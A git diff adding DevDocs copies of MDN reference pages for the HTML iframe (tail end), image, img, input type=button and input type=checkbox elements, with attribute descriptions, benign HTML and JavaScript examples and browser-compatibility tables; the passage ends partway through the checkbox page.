+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
iframe112
1The resize CSS property doesn't have any effect on this element due to bug 680823.
Yes≤15
≤4Safari has a bug that prevents iframes from loading if the iframe element was hidden when added to the page. iframeElement.src = iframeElement.src should cause it to load the iframe.
4.418
4The resize CSS property doesn't have any effect on this element due to bug 680823.
≤14
≤3.2Safari has a bug that prevents iframes from loading if the iframe element was hidden when added to the page. iframeElement.src = iframeElement.src should cause it to load the iframe.
1.0
align1121Yes1534.41841421.0
allow607974No4711.16060No4411.38.0
allowfullscreen3817–3812189–18112515–2510.15.1384.4–383818–38189–182514–25
12Only available on iPad, not on iPhone.
3.01.0–3.0
allowpaymentrequest607956–83No47No606056–8344No8.0
credentialless110110NoNo96No110110No74No21.0
external_protocol_urls_blockedNoNo67NoNoNoNoNo67NoNoNo
frameborder1121Yes1534.41841421.0
height1121Yes1534.41841421.0
loading7779NoNo6416.47777No5516.412.0
longdesc1121Yes1534.41841421.0
marginheight1121Yes1534.41841421.0
marginwidth1121Yes1534.41841421.0
name1121Yes1534.41841421.0
referrerpolicy517950No381451515041147.2
sandbox41217101554.41817144.21.0
scrolling1121Yes1534.41841421.0
src1121Yes15≤44.418414≤3.21.0
srcdoc207925No156372525NoNo1.5
width1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe +

+
diff --git a/devdocs/html/element%2Fimage.html b/devdocs/html/element%2Fimage.html new file mode 100644 index 00000000..4fc73b2a --- /dev/null +++ b/devdocs/html/element%2Fimage.html @@ -0,0 +1,55 @@ +

<image>: The Image element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

+

Non-standard: This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The <image> HTML element is an ancient and poorly supported precursor to the <img> element. It should not be used.

Some browsers will attempt to automatically convert this into an <img> element, and may succeed if the src attribute is specified as well.

+
+

Specifications

+

This does not appear to have been part of any formal specification. It was mentioned in HTML+ Discussion Document - Dave Raggett, November 8, 1993 (Section 5.9 - Images), but was not part of the first revision of HyperText Markup Language Specification - 2.0 in 1994.

+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
image179
1Before Firefox 22, creating an <image> element incorrectly resulted in an HTMLSpanElement object, instead of the expected HTMLElement.
No1514.418
4Before Firefox 22, creating an <image> element incorrectly resulted in an HTMLSpanElement object, instead of the expected HTMLElement.
1411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/image +

+
diff --git a/devdocs/html/element%2Fimg.html b/devdocs/html/element%2Fimg.html new file mode 100644 index 00000000..4bf14c6b --- /dev/null +++ b/devdocs/html/element%2Fimg.html @@ -0,0 +1,529 @@ +

<img>: The Image Embed element

The <img> HTML element embeds an image into the document.

+

Try it

+
+

The above example shows usage of the <img> element:

There are many other attributes to achieve various purposes:

+
+

Supported image formats

+
+

The HTML standard doesn't list what image formats to support, so user agents may support different formats.

Note: The Image file type and format guide provides comprehensive information about image formats and their web browser support. This section is just a summary!

The image file formats that are most commonly used on the web are:

Formats like WebP and AVIF are recommended as they perform much better than PNG, JPEG, GIF for both still and animated images. WebP is widely supported while AVIF lacks support in Edge.

SVG remains the recommended format for images that must be drawn accurately at different sizes.

+
+

Image loading errors

+
+

If an error occurs while loading or rendering an image, and an onerror event handler has been set for the error event, that event handler will get called. This can happen in several situations, including:

+
+

Attributes

+
+

This element includes the global attributes.

alt

Defines text that can replace the image in the page.

Note: Browsers do not always display images. There are a number of situations in which a browser might not display images, such as:

  • Non-visual browsers (such as those used by people with visual impairments)
  • The user chooses not to display images (saving bandwidth, privacy reasons)
  • The image is invalid or an unsupported type +

In these cases, the browser may replace the image with the text in the element's alt attribute. For these reasons and others, provide a useful value for alt whenever possible.

Setting this attribute to an empty string (alt="") indicates that this image is not a key part of the content (it's decoration or a tracking pixel), and that non-visual browsers may omit it from rendering. Visual browsers will also hide the broken image icon if the alt attribute is empty and the image failed to display.

This attribute is also used when copying and pasting the image to text, or saving a linked image to a bookmark.

crossorigin

Indicates if the fetching of the image must be done using a CORS request. Image data from a CORS-enabled image returned from a CORS request can be reused in the <canvas> element without being marked "tainted".

If the crossorigin attribute is not specified, then a non-CORS request is sent (without the Origin request header), and the browser marks the image as tainted and restricts access to its image data, preventing its usage in <canvas> elements.

If the crossorigin attribute is specified, then a CORS request is sent (with the Origin request header); but if the server does not opt into allowing cross-origin access to the image data by the origin site (by not sending any Access-Control-Allow-Origin response header, or by not including the site's origin in any Access-Control-Allow-Origin response header it does send), then the browser blocks the image from loading, and logs a CORS error to the devtools console.

Allowed values:

anonymous

A CORS request is sent with credentials omitted (that is, no cookies, X.509 certificates, or Authorization request header).

use-credentials

The CORS request is sent with any credentials included (that is, cookies, X.509 certificates, and the Authorization request header). If the server does not opt into sharing credentials with the origin site (by sending back the Access-Control-Allow-Credentials: true response header), then the browser marks the image as tainted and restricts access to its image data.

If the attribute has an invalid value, browsers handle it as if the anonymous value was used. See CORS settings attributes for additional information.

decoding

This attribute provides a hint to the browser as to whether it should perform image decoding along with rendering the other DOM content in a single presentation step that looks more "correct" (sync), or render and present the other DOM content first and then decode the image and present it later (async). In practice, async means that the next paint does not wait for the image to decode.

It is often difficult to perceive any noticeable effect when using decoding on static <img> elements. They'll likely be initially rendered as empty images while the image files are fetched (either from the network or from the cache) and then handled independently anyway, so the "syncing" of content updates is less apparent. However, the blocking of rendering while decoding happens, while often quite small, can be measured — even if it is difficult to observe with the human eye. See What does the image decoding attribute actually do? for a more detailed analysis (tunetheweb.com, 2023).

Using different decoding types can result in more noticeable differences when dynamically inserting <img> elements into the DOM via JavaScript — see HTMLImageElement.decoding for more details.

Allowed values:

sync

Decode the image synchronously along with rendering the other DOM content, and present everything together.

async

Decode the image asynchronously, after rendering and presenting the other DOM content.

auto

No preference for the decoding mode; the browser decides what is best for the user. This is the default value.

elementtiming

Marks the image for observation by the PerformanceElementTiming API. The value given becomes an identifier for the observed image element. See also the elementtiming attribute page.

+fetchpriority +

Provides a hint of the relative priority to use when fetching the image. Allowed values:

high

Signals a high-priority fetch relative to other images.

low

Signals a low-priority fetch relative to other images.

auto

Default: Signals automatic determination of fetch priority relative to other images.

height

The intrinsic height of the image, in pixels. Must be an integer without a unit.

Note: Including height and width enables the aspect ratio of the image to be calculated by the browser prior to the image being loaded. This aspect ratio is used to reserve the space needed to display the image, reducing or even preventing a layout shift when the image is downloaded and painted to the screen. Reducing layout shift is a major component of good user experience and web performance.

ismap

This Boolean attribute indicates that the image is part of a server-side map. If so, the coordinates where the user clicked on the image are sent to the server.

Note: This attribute is allowed only if the <img> element is a descendant of an <a> element with a valid href attribute. This gives users without pointing devices a fallback destination.

loading

Indicates how the browser should load the image:

eager

Loads the image immediately, regardless of whether or not the image is currently within the visible viewport (this is the default value).

lazy

Defers loading the image until it reaches a calculated distance from the viewport, as defined by the browser. The intent is to avoid the network and storage bandwidth needed to handle the image until it's reasonably certain that it will be needed. This generally improves the performance of the content in most typical use cases.

Note: Loading is only deferred when JavaScript is enabled. This is an anti-tracking measure, because if a user agent supported lazy loading when scripting is disabled, it would still be possible for a site to track a user's approximate scroll position throughout a session, by strategically placing images in a page's markup such that a server can track how many images are requested and when.

referrerpolicy

A string indicating which referrer to use when fetching the resource:

  • +no-referrer: The Referer header will not be sent.
  • +no-referrer-when-downgrade: The Referer header will not be sent to origins without TLS (HTTPS).
  • +origin: The sent referrer will be limited to the origin of the referring page: its scheme, host, and port.
  • +origin-when-cross-origin: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.
  • +same-origin: A referrer will be sent for same origin, but cross-origin requests will contain no referrer information.
  • +strict-origin: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).
  • +strict-origin-when-cross-origin (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).
  • +unsafe-url: The referrer will include the origin and the path (but not the fragment, password, or username). This value is unsafe, because it leaks origins and paths from TLS-protected resources to insecure origins.
sizes

One or more strings separated by commas, indicating a set of source sizes. Each source size consists of:

  1. A media condition. This must be omitted for the last item in the list.
  2. A source size value.

Media Conditions describe properties of the viewport, not of the image. For example, (max-height: 500px) 1000px proposes to use a source of 1000px width, if the viewport is not higher than 500px.

Source size values specify the intended display size of the image. User agents use the current source size to select one of the sources supplied by the srcset attribute, when those sources are described using width (w) descriptors. The selected source size affects the intrinsic size of the image (the image's display size if no CSS styling is applied). If the srcset attribute is absent, or contains no values with a width descriptor, then the sizes attribute has no effect.

src

The image URL. Mandatory for the <img> element. On browsers supporting srcset, src is treated like a candidate image with a pixel density descriptor 1x, unless an image with this pixel density descriptor is already defined in srcset, or unless srcset contains w descriptors.

srcset

One or more strings separated by commas, indicating possible image sources for the user agent to use. Each string is composed of:

  1. A URL to an image
  2. Optionally, whitespace followed by one of:
    • A width descriptor (a positive integer directly followed by w). The width descriptor is divided by the source size given in the sizes attribute to calculate the effective pixel density.
    • A pixel density descriptor (a positive floating point number directly followed by x).

If no descriptor is specified, the source is assigned the default descriptor of 1x.

It is incorrect to mix width descriptors and pixel density descriptors in the same srcset attribute. Duplicate descriptors (for instance, two sources in the same srcset which are both described with 2x) are also invalid.

If the srcset attribute uses width descriptors, the sizes attribute must also be present, or the srcset itself will be ignored.

The user agent selects any of the available sources at its discretion. This provides them with significant leeway to tailor their selection based on things like user preferences or bandwidth conditions. See our Responsive images tutorial for an example.

width

The intrinsic width of the image in pixels. Must be an integer without a unit.

usemap

The partial URL (starting with #) of an image map associated with the element.

Note: You cannot use this attribute if the <img> element is inside an <a> or <button> element.

+
+

Deprecated attributes

+
+align +

Aligns the image with its surrounding context. Use the float and/or vertical-align CSS properties instead of this attribute. Allowed values:

top

Equivalent to vertical-align: top or vertical-align: text-top

middle

Equivalent to vertical-align: -moz-middle-with-baseline

bottom

The default, equivalent to vertical-align: unset or vertical-align: initial

left

Equivalent to float: left

Equivalent to float: right

+border +

The width of a border around the image. Use the border CSS property instead.

+hspace +

The number of pixels of white space on the left and right of the image. Use the margin CSS property instead.

+longdesc +

A link to a more detailed description of the image. Possible values are a URL or an element id.

Note: This attribute is mentioned in the latest W3C version, HTML 5.2, but has been removed from the WHATWG's HTML Living Standard. It has an uncertain future; authors should use a WAI-ARIA alternative such as aria-describedby or aria-details.

+name +

A name for the element. Use the id attribute instead.

+vspace +

The number of pixels of white space above and below the image. Use the margin CSS property instead.

+

Styling with CSS

+
+

<img> is a replaced element; it has a display value of inline by default, but its default dimensions are defined by the embedded image's intrinsic values, like it were inline-block. You can set properties like border/border-radius, padding/margin, width, height, etc. on an image.

<img> has no baseline, so when images are used in an inline formatting context with vertical-align: baseline, the bottom of the image will be placed on the text baseline.

You can use the object-position property to position the image within the element's box, and the object-fit property to adjust the sizing of the image within the box (for example, whether the image should fit the box or fill it even if clipping is required).

Depending on its type, an image may have an intrinsic width and height. For some image types, however, intrinsic dimensions are unnecessary. SVG images, for instance, have no intrinsic dimensions if their root <svg> element doesn't have a width or height set on it.

+
+

Examples

+ +

Alternative text

+
+

The following example embeds an image into the page and includes alternative text for accessibility.

+

html

+
<img src="favicon144.png" alt="MDN" />
+
+
+
+ + +
+
+ +
+

This example builds upon the previous one, showing how to turn the image into a link. To do so, nest the <img> tag inside the <a>. You should make the alternative text describe the resource the link is pointing to, as if you were using a text link instead.

+

html

+
<a href="https://developer.mozilla.org">
+  <img src="favicon144.png" alt="Visit the MDN site" />
+</a>
+
+
+
+ + +
+
+

Using the srcset attribute

+
+

In this example we include a srcset attribute with a reference to a high-resolution version of the logo; this will be loaded instead of the src image on high-resolution devices. The image referenced in the src attribute is counted as a 1x candidate in user agents that support srcset.

+

html

+
<img src="favicon72.png" alt="MDN" srcset="favicon144.png 2x" />
+
+
+
+ + +
+
+

Using the srcset and sizes attributes

+
+

The src attribute is ignored in user agents that support srcset when w descriptors are included. When the (max-width: 600px) media condition matches, the 200 pixel-wide image will load (it is the one that matches 200px most closely), otherwise the other image will load.

+

html

+
<img
+  src="clock-demo-200px.png"
+  alt="The time is 12:45."
+  srcset="clock-demo-200px.png 200w, clock-demo-400px.png 400w"
+  sizes="(max-width: 600px) 200px, 50vw" />
+
+
+
+ + +

Note: To see the resizing in action, view the example on a separate page, so you can actually resize the content area.

+
+

Security and privacy concerns

+

Although <img> elements have innocent uses, they can have undesirable consequences for user security and privacy. See Referer header: privacy and security concerns for more information and mitigations.

+

Accessibility concerns

+ +

Authoring meaningful alternate descriptions

+
+

An alt attribute's value should provide a clear and concise text replacement for the image's content. It should not describe the presence of the image itself or the file name of the image. If the alt attribute is purposefully left off because the image has no textual equivalent, consider alternate methods to present what the image is trying to communicate.

Don't

+

html

+
<img alt="image" src="penguin.jpg" />
+
+

Do

+

html

+
<img alt="A Rockhopper Penguin is standing on a beach." src="penguin.jpg" />
+
+

When an alt attribute is not present on an image, some screen readers may announce the image's file name instead. This can be a confusing experience if the file name isn't representative of the image's contents.

+
+

Identifying SVG as an image

+
+

Due to a VoiceOver bug, VoiceOver does not correctly announce SVG images as images. Include role="img" to all <img> elements with SVG source files to ensure assistive technologies correctly announce the SVG as image content.

+

html

+
<img src="mdn.svg" alt="MDN" role="img" />
+
+
+
+

The title attribute

+
+

The title attribute is not an acceptable substitute for the alt attribute. Additionally, avoid duplicating the alt attribute's value in a title attribute declared on the same image. Doing so may cause some screen readers to announce the same text twice, creating a confusing experience.

The title attribute should also not be used as supplemental captioning information to accompany an image's alt description. If an image needs a caption, use the figure and figcaption elements.

The value of the title attribute is usually presented to the user as a tooltip, which appears shortly after the cursor stops moving over the image. While this can provide additional information to the user, you should not assume that the user will ever see it: the user may only have keyboard or touchscreen. If you have information that's particularly important or valuable for the user, present it inline using one of the methods mentioned above instead of using title.

+
+

Technical summary

+
Content categories Flow content, phrasing content, embedded content, palpable content. If the element has a usemap attribute, it also is a part of the interactive content category.
Permitted content None; it is a void element.
Tag omission Must have a start tag and must not have an end tag.
Permitted parents Any element that accepts embedded content.
Implicit ARIA role
  • with non-empty alt attribute or no alt attribute: img
  • with empty alt attribute: presentation
Permitted ARIA roles
DOM interface HTMLImageElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-img-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
img1121Yes1514.41841411.0
align1121Yes1534.41841421.0
alt1121Yes1534.41841421.0
aspect_ratio_computed_from_attributes797971No6615
14–15Safari doesn't preserve space for images without a valid src, which may disrupt layouts that rely on lazy loading (see bug 224197).
+		7979795715
14–15Safari doesn't preserve space for images without a valid src, which may disrupt layouts that rely on lazy loading (see bug 224197).
+		12.0
attributionsrc117117NoNo103No117117NoNoNoNo
border1121Yes1534.41841421.0
crossorigin13128Yes1564.41881461.0
decoding65≤7963No5211.16565634711.39.0
fetchpriority101101NoNoNopreview101101No70No19.0
height1121Yes1534.41841421.0
hspace1121Yes1534.41841421.0
ismap1121Yes1534.41841421.0
loading777975No6415.47777795515.412.0
longdesc1121Yes1534.41841421.0
name1121Yes1534.41841421.0
onerrorYes≤7951NoYesYesYesYes51YesYesYes
referrerpolicy517950No381451515041147.2
sizes381238Yes259.1383838259.33.0
src1121Yes1514.41841411.0
srcset34≤1838No2183734382182.0
usemap1121Yes1534.41841421.0
vspace1121Yes1534.41841421.0
width1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img +

+
diff --git a/devdocs/html/element%2Finput%2Fbutton.html b/devdocs/html/element%2Finput%2Fbutton.html new file mode 100644 index 00000000..b926aa14 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fbutton.html @@ -0,0 +1,290 @@ +

<input type="button">

<input> elements of type button are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event).

+

Try it

+
+

Note: While <input> elements of type button are still perfectly valid HTML, the newer <button> element is now the favored way to create buttons. Given that a <button>'s label text is inserted between the opening and closing tags, you can include HTML in the label, even images.

+
+

Value

+ +

Button with a value

+
+

An <input type="button"> elements' value attribute contains a string that is used as the button's label.

+

html

+
<input type="button" value="Click Me" />
+
+
+
+ + +
+
+

Button without a value

+
+

If you don't specify a value, you get an empty button:

+

html

+
<input type="button" />
+
+
+
+ + +
+
+

Using buttons

+

<input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively). To make buttons do anything, you have to write JavaScript code to do the work.

+

A simple button

+
+

We'll begin by creating a simple button with a click event handler that starts our machine (well, it toggles the value of the button and the text content of the following paragraph):

+

html

+
<form>
+  <input type="button" value="Start machine" />
+</form>
+<p>The machine is stopped.</p>
+
+
+

js

+
const button = document.querySelector("input");
+const paragraph = document.querySelector("p");
+
+button.addEventListener("click", updateButton);
+
+function updateButton() {
+  if (button.value === "Start machine") {
+    button.value = "Stop machine";
+    paragraph.textContent = "The machine has started!";
+  } else {
+    button.value = "Start machine";
+    paragraph.textContent = "The machine is stopped.";
+  }
+}
+
+

The script gets a reference to the HTMLInputElement object representing the <input> in the DOM, saving this reference in the variable button. addEventListener() is then used to establish a function that will be run when click events occur on the button.

+
+ + +
+
+

Adding keyboard shortcuts to buttons

+
+

Keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a button — just as you would with any <input> for which it makes sense — you use the accesskey global attribute.

In this example, s is specified as the access key (you'll need to press s plus the particular modifier keys for your browser/OS combination; see accesskey for a useful list of those).

+

html

+
<form>
+  <input type="button" value="Start machine" accesskey="s" />
+</form>
+<p>The machine is stopped.</p>
+
+
+
+ + +

Note: The problem with the above example of course is that the user will not know what the access key is! In a real site, you'd have to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site accesskeys are).

+
+

Disabling and enabling a button

+
+

To disable a button, specify the disabled global attribute on it, like so:

+

html

+
<input type="button" value="Disable me" disabled />
+
+

Setting the disabled attribute

You can enable and disable buttons at run time by setting disabled to true or false. In this example our button starts off enabled, but if you press it, it is disabled using button.disabled = true. A setTimeout() function is then used to reset the button back to its enabled state after two seconds.

+

html

+
<input type="button" value="Enabled" />
+
+
+

js

+
const button = document.querySelector("input");
+
+button.addEventListener("click", disableButton);
+
+function disableButton() {
+  button.disabled = true;
+  button.value = "Disabled";
+  setTimeout(() => {
+    button.disabled = false;
+    button.value = "Enabled";
+  }, 2000);
+}
+
+
+
+ + +

Inheriting the disabled state

If the disabled attribute isn't specified, the button inherits its disabled state from its parent element. This makes it possible to enable and disable groups of elements all at once by enclosing them in a container such as a <fieldset> element, and then setting disabled on the container.

The example below shows this in action. This is very similar to the previous example, except that the disabled attribute is set on the <fieldset> when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed.

+

html

+
<fieldset>
+  <legend>Button group</legend>
+  <input type="button" value="Button 1" />
+  <input type="button" value="Button 2" />
+  <input type="button" value="Button 3" />
+</fieldset>
+
+
+

js

+
const button = document.querySelector("input");
+const fieldset = document.querySelector("fieldset");
+
+button.addEventListener("click", disableButton);
+
+function disableButton() {
+  fieldset.disabled = true;
+  setTimeout(() => {
+    fieldset.disabled = false;
+  }, 2000);
+}
+
+
+
+ + +

Note: Firefox will, unlike other browsers, by default, persist the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.

+
+

Validation

+

Buttons don't participate in constraint validation; they have no real value to be constrained.

+

Examples

+
+

The below example shows a very simple drawing app created using a <canvas> element and some simple CSS and JavaScript (we'll hide the CSS for brevity). The top two controls allow you to choose the color and size of the drawing pen. The button, when clicked, invokes a function that clears the canvas.

+

html

+
<div class="toolbar">
+  <input type="color" aria-label="select pen color" />
+  <input
+    type="range"
+    min="2"
+    max="50"
+    value="30"
+    aria-label="select pen size" /><span class="output">30</span>
+  <input type="button" value="Clear canvas" />
+</div>
+
+<canvas class="myCanvas">
+  <p>Add suitable fallback here.</p>
+</canvas>
+
+
+

js

+
const canvas = document.querySelector(".myCanvas");
+const width = (canvas.width = window.innerWidth);
+const height = (canvas.height = window.innerHeight - 85);
+const ctx = canvas.getContext("2d");
+
+ctx.fillStyle = "rgb(0,0,0)";
+ctx.fillRect(0, 0, width, height);
+
+const colorPicker = document.querySelector('input[type="color"]');
+const sizePicker = document.querySelector('input[type="range"]');
+const output = document.querySelector(".output");
+const clearBtn = document.querySelector('input[type="button"]');
+
+// covert degrees to radians
+function degToRad(degrees) {
+  return (degrees * Math.PI) / 180;
+}
+
+// update sizepicker output value
+
+sizePicker.oninput = () => {
+  output.textContent = sizePicker.value;
+};
+
+// store mouse pointer coordinates, and whether the button is pressed
+let curX;
+let curY;
+let pressed = false;
+
+// update mouse pointer coordinates
+document.onmousemove = (e) => {
+  curX = e.pageX;
+  curY = e.pageY;
+};
+
+canvas.onmousedown = () => {
+  pressed = true;
+};
+
+canvas.onmouseup = () => {
+  pressed = false;
+};
+
+clearBtn.onclick = () => {
+  ctx.fillStyle = "rgb(0,0,0)";
+  ctx.fillRect(0, 0, width, height);
+};
+
+function draw() {
+  if (pressed) {
+    ctx.fillStyle = colorPicker.value;
+    ctx.beginPath();
+    ctx.arc(
+      curX,
+      curY - 85,
+      sizePicker.value,
+      degToRad(0),
+      degToRad(360),
+      false,
+    );
+    ctx.fill();
+  }
+
+  requestAnimationFrame(draw);
+}
+
+draw();
+
+
+
+ + +
+
+

Technical summary

+
Value A string used as the button's label
Events click
Supported common attributes type and value
IDL attributes value
DOM interface

HTMLInputElement
Methods None
Implicit ARIA Role button
+

Specifications

+
+ + +
Specification
HTML Standard
# button-state-(type=button)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
button1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/button +

+
diff --git a/devdocs/html/element%2Finput%2Fcheckbox.html b/devdocs/html/element%2Finput%2Fcheckbox.html new file mode 100644 index 00000000..39e3a39d --- /dev/null +++ b/devdocs/html/element%2Finput%2Fcheckbox.html @@ -0,0 +1,288 @@ +

<input type="checkbox">

<input> elements of type checkbox are rendered by default as boxes that are checked (ticked) when activated, like you might see in an official government paper form. The exact appearance depends upon the operating system configuration under which the browser is running. Generally this is a square but it may have rounded corners. A checkbox allows you to select single values for submission in a form (or not).

+

Try it

+
+

Note: Radio buttons are similar to checkboxes, but with an important distinction — same-named radio buttons are grouped into a set in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off. Where multiple same-named controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected.

+
+

Value

+
+

A string representing the value of the checkbox. This is not displayed on the client-side, but on the server this is the value given to the data submitted with the checkbox's name. Take the following example:

+

html

+
<form>
+  <div>
+    <input
+      type="checkbox"
+      id="subscribeNews"
+      name="subscribe"
+      value="newsletter" />
+    <label for="subscribeNews">Subscribe to newsletter?</label>
+  </div>
+  <div>
+    <button type="submit">Subscribe</button>
+  </div>
+</form>
+
+

In this example, we've got a name of subscribe, and a value of newsletter. When the form is submitted, the data name/value pair will be subscribe=newsletter.

If the value attribute was omitted, the default value for the checkbox is on, so the submitted data in that case would be subscribe=on.

Note: If a checkbox is unchecked when its form is submitted, neither the name nor the value is submitted to the server. There is no HTML-only method of representing a checkbox's unchecked state (e.g. value=unchecked). If you wanted to submit a default value for the checkbox when it is unchecked, you could include JavaScript to create a <input type="hidden"> within the form with a value indicating an unchecked state.

+
+

Additional attributes

+
+

In addition to the common attributes shared by all <input> elements, "checkbox" inputs support the following attributes.

checked

A boolean attribute indicating whether this checkbox is checked by default (when the page loads). It does not indicate whether this checkbox is currently checked: if the checkbox's state is changed, this content attribute does not reflect the change. (Only the HTMLInputElement's checked IDL attribute is updated.)

Note: Unlike other input controls, a checkbox's value is only included in the submitted data if the checkbox is currently checked. If it is, then the value of the checkbox's value attribute is reported as the input's value, or on if no value is set. Unlike other browsers, Firefox by default persists the dynamic checked state of an <input> across page loads. Use the autocomplete attribute to control this feature.

value

The value attribute is one which all <input>s share; however, it serves a special purpose for inputs of type checkbox: when a form is submitted, only checkboxes which are currently checked are submitted to the server, and the reported value is the value of the value attribute. If the value is not otherwise specified, it is the string on by default. This is demonstrated in the section Value above.

+
+

Using checkbox inputs

+

We already covered the most basic use of checkboxes above. Let's now look at the other common checkbox-related features and techniques you'll need.

+

Handling multiple checkboxes

+
+

The example we saw above only contained one checkbox; in real-world situations you'll be likely to encounter multiple checkboxes. If they are completely unrelated, then you can just deal with them all separately, as shown above. However, if they're all related, things are not quite so simple.

For example, in the following demo we include multiple checkboxes to allow the user to select their interests (see the full version in the Examples section).

+

html

+
<fieldset>
+  <legend>Choose your interests</legend>
+  <div>
+    <input type="checkbox" id="coding" name="interest" value="coding" />
+    <label for="coding">Coding</label>
+  </div>
+  <div>
+    <input type="checkbox" id="music" name="interest" value="music" />
+    <label for="music">Music</label>
+  </div>
+</fieldset>
+
+
+
+ + +

In this example you will see that we've given each checkbox the same name. If both checkboxes are checked and then the form is submitted, you'll get a string of name/value pairs submitted like this: interest=coding&interest=music. When this string reaches the server, you need to parse it other than as an associative array, so all values, not only the last value, of interest are captured. For one technique used with Python, see Handle Multiple Checkboxes with a Single Serverside Variable, for example.

+
+

Checking boxes by default

+
+

To make a checkbox checked by default, you give it the checked attribute. See the below example:

+

html

+
<fieldset>
+  <legend>Choose your interests</legend>
+  <div>
+    <input type="checkbox" id="coding" name="interest" value="coding" checked />
+    <label for="coding">Coding</label>
+  </div>
+  <div>
+    <input type="checkbox" id="music" name="interest" value="music" />
+    <label for="music">Music</label>
+  </div>
+</fieldset>
+
+
+
+ + +
+
+

Providing a bigger hit area for your checkboxes

+
+

In the above examples, you may have noticed that you can toggle a checkbox by clicking on its associated <label> element as well as on the checkbox itself. This is a really useful feature of HTML form labels that makes it easier to click the option you want, especially on small-screen devices like smartphones.

Beyond accessibility, this is another good reason to properly set up <label> elements on your forms.

+
+

Indeterminate state checkboxes

+
+

In addition to the checked and unchecked states, there is a third state a checkbox can be in: indeterminate. This is a state in which it's impossible to say whether the item is toggled on or off. This is set using the HTMLInputElement object's indeterminate property via JavaScript (it cannot be set using an HTML attribute):

+

js

+
inputInstance.indeterminate = true;
+
+

A checkbox in the indeterminate state has a horizontal line in the box (it looks somewhat like a hyphen or minus sign) instead of a check/tick in most browsers.

There are not many use cases for this property. The most common is when a checkbox is available that "owns" a number of sub-options (which are also checkboxes). If all of the sub-options are checked, the owning checkbox is also checked, and if they're all unchecked, the owning checkbox is unchecked. If any one or more of the sub-options have a different state than the others, the owning checkbox is in the indeterminate state.

This can be seen in the below example (thanks to CSS Tricks for the inspiration). In this example we keep track of the ingredients we are collecting for a recipe. When you check or uncheck an ingredient's checkbox, a JavaScript function checks the total number of checked ingredients:

So in this case the indeterminate state is used to state that collecting the ingredients has started, but the recipe is not yet complete.

+

js

+
const overall = document.querySelector("#enchantment");
+const ingredients = document.querySelectorAll("ul input");
+
+overall.addEventListener("click", (e) => {
+  e.preventDefault();
+});
+
